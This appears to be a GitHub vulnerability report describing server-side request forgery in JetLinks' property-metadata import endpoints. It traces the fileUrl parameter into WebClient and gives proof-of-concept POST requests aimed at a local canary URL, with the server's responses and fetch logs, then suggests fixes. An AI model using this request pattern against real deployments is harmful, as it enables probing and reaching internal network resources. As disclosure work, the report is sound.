Skip to content

Device property-metadata import fileUrl SSRF #766

Description

@cyuanb

Summary

The device property-metadata import endpoints accept a caller-controlled fileUrl query parameter. Before the application decides whether the response is a valid CSV/XLSX file, the import service obtains an input stream from that URL. The HTTP branch accepts any string beginning with http and sends it through WebClient without a destination allowlist or resolved-address check.

Root Cause

The vulnerable source is the fileUrl request parameter accepted by the property-metadata import endpoints. DeviceProductController.java:334-349 passes the product import URL to the import service, and DeviceInstanceController.java:1069-1082 contains the equivalent device import path:

@PostMapping(value = "/{productId}/property-metadata/import")
public Mono<String> importPropertyMetadata(
    @PathVariable String productId,
    @RequestParam String fileUrl) {
    return configMetadataManager
        .getMetadataExpandsConfig(...)
        .collectList()
        .map(PropertyMetadataWrapper::new)
        .flatMap(wrapper -> importExportService
            .getInputStream(fileUrl)
            .flatMapMany(inputStream ->
                read(inputStream, FileUtils.getExtension(fileUrl), wrapper))
            .map(PropertyMetadataExcelInfo::toMetadata)
            .collectList());
}

The request parameter is passed to importExportService before the file extension or spreadsheet parser can reject the response. DefaultImportExportService.java:82-95 selects the remote branch based only on a string prefix:

public Mono<InputStream> getInputStream(String fileUrl) {
    return Mono.defer(() -> {
        if (fileUrl.startsWith("http")) {
            return client.get()
                .uri(fileUrl)
                .accept(MediaType.APPLICATION_OCTET_STREAM)
                .exchangeToMono(...);
        }
        ...
    });
}

The shared FileUtils.java:139-169 implementation follows the same pattern for related import operations. The attacker-controlled fileUrl therefore travels from the HTTP query parameter to getInputStream, through the HTTP-prefix branch, and into WebClient.get().uri(fileUrl). The response is then passed to the importer as an input stream.

The source-to-sink flow is:

POST .../property-metadata/import?fileUrl=...
  -> @RequestParam fileUrl
  -> importExportService.getInputStream(fileUrl)
  -> fileUrl.startsWith("http")
  -> WebClient.get().uri(fileUrl)
  -> remote response DataBuffer/InputStream
  -> CSV/XLSX parser

POC

Request A:

POST /device-instance/union-ssrf-product2/property-metadata/import?fileUrl=http://127.0.0.1:28081/poc/jetlinks-community_SSRF-002-A HTTP/1.1
Host: localhost:31905
User-Agent: curl/7.81.0
Accept: */*
X-Access-Token: <redacted>
Content-Type: application/json

Response A:

HTTP/1.1 400 Bad Request
traceparent: 00-22ed42864eb23807f9fb1c146f681777-4444f114e11cb4c7-01
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Type: application/json
Content-Length: 93

{"message":"unsupported format:","status":400,"code":"unsupported","timestamp":1785654951827}

Request B used the same endpoint with SSRF-002-B in fileUrl. Its response was:

HTTP/1.1 400 Bad Request
traceparent: 00-d7ea6c63c25126bb7a5446526fca661c-600f1466a4e9ec52-01
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Type: application/json
Content-Length: 93

{"message":"unsupported format:","status":400,"code":"unsupported","timestamp":1785654951864}

Target-side canary evidence:

GET /poc/jetlinks-community_SSRF-002-A
source: 127.0.0.1

GET /poc/jetlinks-community_SSRF-002-B
source: 127.0.0.1

Impact

An authenticated principal with property-metadata import permission can make JetLinks retrieve arbitrary HTTP resources reachable from the application network. The response is passed into a file parser, so the endpoint may additionally disclose parser-dependent content or create resource-consumption pressure.

Suggested Fix

Prefer a managed file identifier over a free-form URL. If remote import must remain supported, use an explicit scheme/host/port allowlist, resolve and validate every address before connecting, disable unsafe redirects, and enforce response size, timeout, and content-type limits before parsing.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions